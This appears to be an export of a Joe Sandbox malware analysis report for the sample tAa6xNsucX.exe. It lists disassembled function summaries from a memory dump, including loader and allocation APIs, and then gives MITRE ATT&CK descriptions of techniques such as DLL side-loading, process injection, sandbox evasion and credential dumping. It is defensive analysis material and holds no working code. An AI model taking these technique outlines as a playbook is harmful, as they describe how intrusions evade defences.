Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 0bfc33d497ddf839bc276223d600596a501eab8645cec184e9e7dc33010be32a
Instruction ID: e7e1e1f0974a36c04f9fe183f3c096032677110d5ae2df241f8e3273ab2b39ed
Opcode Fuzzy Hash: 0bfc33d497ddf839bc276223d600596a501eab8645cec184e9e7dc33010be32a
Instruction Fuzzy Hash: AC11E335E04789DBDB01DF69C8148EDB7B9EF86318B848219EC859B602FB31A594CB90

Function 6C324730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3244B2,6C39E21C,6C39F7F8), ref: 6C32473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C32474A

Strings

GetNtLoaderAPI, xrefs: 6C324744

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: bac2bef789e3f785ea82a2bc206c4ad0ea9690ce9f19e20dfc8454090449e675
Instruction ID: d510eefb44009bc8b908fe1274d0e412822d9e3890524ff9abc58d7042dd05b2
Opcode Fuzzy Hash: bac2bef789e3f785ea82a2bc206c4ad0ea9690ce9f19e20dfc8454090449e675
Instruction Fuzzy Hash: D50192757043148FDF00AFAA984865D7BBDFB8B315B040069EA16CB300EB76D8018F91

Function 6C376DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C376E22
__Init_thread_footer.LIBCMT ref: 6C376E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C376E1D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3365ddfa4f0eab6e45239067f8d05d173b2b9f35aa27894517ae83234604ee05
Instruction ID: 5476a63fd7ad83f68d610e145e58616a2ae6ded3dd4f6852f56ece89fb23272a
Opcode Fuzzy Hash: 3365ddfa4f0eab6e45239067f8d05d173b2b9f35aa27894517ae83234604ee05
Instruction Fuzzy Hash: 05F05932604340CBDF108F68CA60A917779530B21CF240165E84046F91F76BA906CEB7

Function 6C329E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C329EEF

Strings

Infinity, xrefs: 6C329EB7
NaN, xrefs: 6C329EC1

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b93b105af6bbd93e61e29de8379703f2db3be52126e314ac4020d6d0f69cdafa
Instruction ID: bacb6450ec655881779171b53fd029f3c8bc13957a02a25a564b5d5d0eddaf72
Opcode Fuzzy Hash: b93b105af6bbd93e61e29de8379703f2db3be52126e314ac4020d6d0f69cdafa
Instruction Fuzzy Hash: EDF03C71701241CAEF009F18D84579133B9A74F31DF204A19EA440AAA5F7BB65568FD2

Function 6C326C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K5l,?,6C354B30,80000000,?,6C354AB7,?,6C3143CF,?,6C3142D2), ref: 6C326C42

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

moz_xmalloc.MOZGLUE(0K5l,?,6C354B30,80000000,?,6C354AB7,?,6C3143CF,?,6C3142D2), ref: 6C326C58

Strings

0K5l, xrefs: 6C326C33, 6C326C41, 6C326C57

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K5l
API String ID: 1967447596-1268099673
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 0bac08c4e6f8b43a752c1cb5d85a1171e94fb066f1daa0285fa8ed001f5ffb2d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 32E086F1A105054BAF08B979AC0A56B71DC8F146A87044A35E823D6BC8FA5DE55089A2

Function 6C323850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C39F860), ref: 6C32385C
ReleaseSRWLockExclusive.KERNEL32(6C39F860,?), ref: 6C323871

Strings

,9l, xrefs: 6C32387A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,9l
API String ID: 17069307-2839521190
Opcode ID: 0aa1f87dac74f4200c1c3043b2fad093a5d61f7ab73a9f3a4267b469f5c57e3f
Instruction ID: c29b7dd9e2147a4375ed4331d59f1592d365f9794703487f61372e9558abeec0
Opcode Fuzzy Hash: 0aa1f87dac74f4200c1c3043b2fad093a5d61f7ab73a9f3a4267b469f5c57e3f
Instruction Fuzzy Hash: 67E0DF35909B2C978B51AF96940158A3B7CEE0B6943044005F5491FA00E736D5408ED6

Function 6C32BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C32BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C32BEF5

Strings

cryptbase.dll, xrefs: 6C32BEF0

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: bc577c95d21659487b159ce7db92a671a63a37d6f5e3ed9dc8fbe7d404ea78ac
Instruction ID: bd918b5fcd6f38f5d36b0849aef99e3ed3782299c536e41e96b8e713dca62ee9
Opcode Fuzzy Hash: bc577c95d21659487b159ce7db92a671a63a37d6f5e3ed9dc8fbe7d404ea78ac
Instruction Fuzzy Hash: 9CD0A932680208EBCB10AEA0AD0AB293BBCA70232DF10C020F7568C851E7B6A410CF90

Function 6C36B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B628

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C36B127,?,?,?,?,?,?,?,?), ref: 6C36B74D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fe11cfb61924271c8246acd878b1303ad34127ac00cc88e0e740c18f111d0e2d
Instruction ID: 1321d0a45f3f22915521bb804faa9d047e9cce3e795942d4bd4d6e337f307bd1
Opcode Fuzzy Hash: fe11cfb61924271c8246acd878b1303ad34127ac00cc88e0e740c18f111d0e2d
Instruction Fuzzy Hash: 2651D071A052168FDB14CF1AC98465EF7B9FF45308F45852DE85AABB18EB31E804CFA1

Function 6C36DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C35FF2A), ref: 6C36DFFD

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C35FF2A), ref: 6C36E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C35FF2A), ref: 6C36E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C35FF2A), ref: 6C36E0FE

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 608ab9db159c8104a002c60931f552da4b035306543dc4edd171de351076a569
Instruction ID: affae71c20bca88051cba5b8c274e1697a84686c90a21fcbe727291f7395574d
Opcode Fuzzy Hash: 608ab9db159c8104a002c60931f552da4b035306543dc4edd171de351076a569
Instruction Fuzzy Hash: 4141B1B16043068FEB14CF6ADC8039A77B6AB45308F144539D596DBB48E732E909CFE2

Function 6C366E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C366EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C366EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C366F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C366F5C

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f7e2ebb58734311e165b2277829fbaf5cb48f7100ce54fffa36dc29910396466
Instruction ID: 9e404252e2846c13f526c9664beddcda75433cdbcbae261d978ab5896528b673
Opcode Fuzzy Hash: f7e2ebb58734311e165b2277829fbaf5cb48f7100ce54fffa36dc29910396466
Instruction Fuzzy Hash: 7A31E771A1060A8FEB04CF2DDD406AA73F9EB94344F504539D41ACBA55EB32E659CBA0

Function 6C37B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C320A4D), ref: 6C37B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C320A4D), ref: 6C37B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C320A4D), ref: 6C37B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C320A4D), ref: 6C37B67F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 45b51441356659de40918fa3d31a05997088ae57d42c6f755cd09d51318b88a6
Instruction ID: 34a81e06f4c89bbcec13d699f82b22ac82898e866e4f9afb240ab653b739e2bd
Opcode Fuzzy Hash: 45b51441356659de40918fa3d31a05997088ae57d42c6f755cd09d51318b88a6
Instruction Fuzzy Hash: 2D31D671A012158FEB20CF58C84469AF7BAFF81308F168569C9469F301EB36E915CFB5

Function 6C34F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C34F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C34F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C34F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C34F668

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 516fd478ea94684430227585da57c280c0f686661443f451cf9e7f87b95a241b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71A00214AFC714DF1DDCC0A9A77F9EB88358B18C538EA498BB04D676E9458F90

Function 6C3626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3626C1
free.MOZGLUE(?), ref: 6C3626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3626FF
free.MOZGLUE ref: 6C36270D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b6781b9c31f32c5ed88a22a01170b056cd0483c10b4d111555490544070ee31b
Instruction ID: 90aa46643f8f12e13687598f93c1fb55b60ad3a05f053ac53adfeadab653dee6
Opcode Fuzzy Hash: b6781b9c31f32c5ed88a22a01170b056cd0483c10b4d111555490544070ee31b
Instruction Fuzzy Hash: 98F0F9B27012015BF7009E19E888D47B3ADEF41258B550035EA1AD3F02E373F918CB92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report tAa6xNsucX.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

